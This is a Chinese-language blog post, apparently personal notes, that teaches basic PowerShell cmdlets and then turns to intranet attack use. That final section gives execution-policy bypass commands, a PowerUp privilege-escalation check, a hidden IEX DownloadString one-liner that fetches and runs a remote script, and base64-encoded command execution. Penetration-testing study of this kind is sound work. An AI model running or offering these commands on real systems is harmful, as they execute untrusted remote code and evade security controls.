1.什么是powershell

Powershell 是使用 .NET 框架构建的 Windows 脚本语言和 shell 环境。

PowerShell 命令称为 cmdlet(读作 command-let)。 除了 cmdlet 外,使用 PowerShell 还可以在系统上运行任何可用命令。

这也允许 Powershell 直接从其 shell 执行 .NET 函数。大多数称为cmdlet的Powershell 命令都是用 .NET 编写的。与其他脚本语言和 shell 环境不同,这些cmdlet的输出 是对象。这也意味着运行 cmdlet 允许您对输出对象执行操作(这样可以方便地将输出从一个cmdlet传递到另一个)。cmdlet的正常格式使用动词-名词表示;例如,列出命令的cmdlet 被称为Get-Command.

常见的动词为

  • Get
  • Start
  • Stop
  • Read
  • Write
  • New
  • Out

2.powershell的基础命令

2.1 Get-Help

Get-Help 显示有关cmdlet 的信息。要获取有关特定命令的帮助,请运行以下命令:

Get-Help Command-Name

您还可以通过传入-examples标志来了解如何准确使用该命令。这将返回如下输出:

2.2 Get-Command

直接输入get-command命令返回的东西太多

所以还是建议利用一些参数来过滤,同时该cmdlet是支持通配符*的

比如

你已了解如何根据 -Name 进行筛选,并且知道还可以根据其他参数进行筛选。 同样,你也可以根据谓词和名词进行筛选。 这种筛选针对的是命令名称的一部分。

还可以根据名词和动词进行筛选

  • 根据谓词进行筛选。 命令名称的谓词部分位于最左侧。 在命令 Get-Process 中,谓词部分为 Get。 若要根据谓词部分进行筛选,请指定 -Verb 作为参数,如下所示:
    Get-Command -Verb 'Get'
    

    上述命令将列出谓词部分为 Get 的所有命令。

  • 根据名词进行筛选。 命令的最右边是名词部分。 谓词应是调用 Get-Verb 所返回的谓词之一,而名词可以是任何内容。 在命令 Get-Process 中,名词部分是 Process。 若要根据名词进行筛选,请指定 -Noun 作为参数和字符串参数,如下所示:

    Get-Command -Noun U*
    

如果仅使用谓词或仅使用名词作为筛选依据,生成的结果范围仍然可能很大。 若要缩小搜索范围,最好将这两个参数组合起来,如下面的示例所示:

Get-Command -Verb Get -Noun U*

2.3 Select-Object

Select-Object. 这是一个非常通用的命令,可帮助你从一个或多个对象中选取特定属性。 另外,还可以使用此命令的参数来限制收到的响应。 下面的 Select-Object 示例用于请求获得有限数量的记录。

Get-Command | Select-Object -First 3

上面示例的结果是从顶部往下数的前三个命令。 结果如下所示:

此命令值得进一步探究,因为它还有许多其他用途。请参阅 Select-Object 文档

2.4 Where-Object

Where-Object. where object 可帮助你根据属性值从集合中选择对象。 此命令会采用一个表达式,你可以在其中说明要将哪些列与哪些值进行匹配。 若要查找其中的 ProcessNamep 开头的所有 process 对象,可以使用 Where-Object,如下所示:

PowerShell复制

Get-Process | Where-Object {$_.ProcessName -Like "p*"}

在上面的示例中,Get-Process cmdlet 会生成一个 process 对象集合。 要对响应进行筛选,可以使用管道“发送”命令 Where-Object。 使用管道“发送”表示通过管道 | 字符连接两个或更多个命令。 其中的思路是,一个命令的输出作为下一个命令的输入,从左向右进行读取。 Where-Object 使用表达式进行筛选。 此表达式本身使用 -Like 运算符和属于通配符表达式的字符串参数。

2.5 Get-Member

2.5.1一般搜索

Get-Member cmdlet 将显示结果的属性和方法。 此外,它还会显示对象的类型。 将你要检查的输出发送到 Get-Member

Get-Process | Get-Member

结果显示返回的类型(以 TypeName 形式)以及对象的所有属性和方法。 下面是此类结果的一段摘录:

对象通常具有许多属性和方法,你可以对结果进行筛选,以便更轻松地找到要查找的内容。 例如,通过使用 -MemberType 参数,可以指定要查看所有方法,如下面的示例所示:

PowerShell复制

Get-Process | Get-Member -MemberType Method

在返回的响应中,PowerShell 通常只显示少量属性。 上面的响应中显示了 NameMemberTypeDefinition。 若要更改显示结果,可以使用 cmdlet Select-Object。 使用 Select-Object,可以指定要查看哪些列。 你可以为它提供列名称、以逗号分隔的列表或通配符 *。 下面的示例使用 Select-Object 检索 NameDefinition

Get-Process | Get-Member | Select-Object Name, Definition

2.5.2按类型搜索

搜索所需命令的另一种方法是,搜索在同一类型上运行的所有命令。 使用 Get-Member 后,收到的返回类型是响应的第一行,如下所示:

TypeName: System.Diagnostics.Process

现在可以使用此类型,并按如下所示搜索命令:

PowerShell复制

Get-Command -ParameterType Process

上面的调用将获得一个列表,其中是只在 Process 类型上运行的命令:

如你所见,知道命令类型后,可以大幅缩小你可能需要的命令的搜索范围。

后面再补的知识点:

powershell使用总结Shanfenglan7的博客-CSDN博客

简介 – PowerShell | Microsoft Docs

https://tryhackme.com/room/powershell

3.内网相关操作

查看Powershell版本

Get-Host
$PSVersionTable.PSVERSION

1580192808404

执行策略:

在限制了Powershell不能使用时可以使用此方式进行设置允许执行Powershell脚本

Set-ExecutionPolicy Unrestricted

1580194070487

策略共四种:

Restricted:脚本不能运行
RemoteSigned:本地可以运行
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有脚本允许

附加:

原文中提到运行脚本,可以使用.\a.ps1

如果是使用Import-Module加载脚本可以使用:

. .\a.ps1

3.1管道

get-process p* | stop-process

3.2常用命令

新建目录:New-Item aaa -ItemType Directory(实际上在5.0版本可以直接通过md)
新建文件:New-Item aaa.txt
删除目录:Remove-Item aaa.txt可以直接使用rm
显示文件内容:Get-Content可以直接使用cat
设置文本内容:Set-Content aaa.txt -Value "aaa"
追加内容:Add-Content aaa.txt -Value "aaa"

3.3绕过本地权限执行

Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

上传之后执行:

powershell.exe -exec bypass -Command "& {Import-module C:\PowerUp.ps1;Invoke-AllChecks}"

远程加载(此处原书中存在空格被吞的情况):

powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("http://www.baidu.com/xxx.ps1");

使用Base64编码对Powershell命令进行编码:

使用ps_encoder.py脚本加密(https://github.com/h4sh5/ps_encoder):

./ps_encoder.py -s script.txt

1580196795644

powershell -encodedCommand YwBhAGwAYwAuAGUAeABlAAoA

1580196855685

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注